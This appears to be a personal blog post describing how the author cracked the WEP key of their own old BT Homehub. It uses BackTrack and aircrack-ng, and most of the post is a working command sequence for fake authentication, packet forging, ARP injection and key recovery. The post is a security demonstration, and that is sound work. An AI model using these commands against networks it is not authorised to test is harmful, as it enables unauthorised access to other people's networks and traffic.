I’ve tried cracking WEP before with limited success – relying on the network to be busy enough to capture packets doesn’t make for reliable cracking, but this method is different – forcing the access point to produce all the packets we need for analysis.  I thought it was time I finally proved to myself that it was possible so I dug out the old BT Homehub device and switched on the wireless before booting my MacBook Pro off an excellent pen test Live CD – BackTrack.

All you need is a machine with a wireless card, the BackTrack CD, the MAC address of your target access point, the SSID (the network “name”) and the MAC address of your wireless card.

Once booted, here are the steps I took to obtain the WEP key for the network:

airmon-ng start wifi0 11
wlanconfig ath0 destroy

export AP=00:14:7F:95:5B:AC    < -- Access Point MAC
export WIFI=00:14:51:XX:XX:XX  < -- WLAN Card MAC
export SSID=BTHomeHub-1100     < -- SSID of target network

ifconfig ath1 up
iwconfig ath1 mode Monitor channel 11
aireplay-ng -1 0 -e $SSID -a $AP -h $WIFI ath1

At this point you should see an “Association Successful!” message, you can continue with:

aireplay-ng -5 -b $AP -h $WIFI ath1

You’ll now have to wait until aireplay returns with the packet it has found, when it asks to keep it, say yes. It’ll get saved to a fragment.xor file. You can use the .xor file to forge the packet we’re going to throw at the access point:

packetforge-ng -0 -a $AP -h $WIFI -k 255.255.255.255 -l 255.255.255.255 -y fragment.xor -w arp-request

This will write the forged packet to the file arp-request. Now, time to start capturing the packets we’re going to analyse:

airodump-ng -c 11 -bssid $AP --ivs -w cap ath1

In a new console, start throwing the arp-request packet out to the access point:

aireplay-ng -2 -r arp-request ath1

When it finds our packet, say yes and it will start broadcasting. You should see the airodump stats start to skyrocket at this point. After you’ve got approx 70000 data packets in the airodump window, start another console and run:

aircrack-ng -n 64 -b $AP *.ivs

This will do the work of cracking the key from the captured packets, after a while (less than a minute for me) it will hopefully spit out something like the following:

Job done. Told you WEP was easy.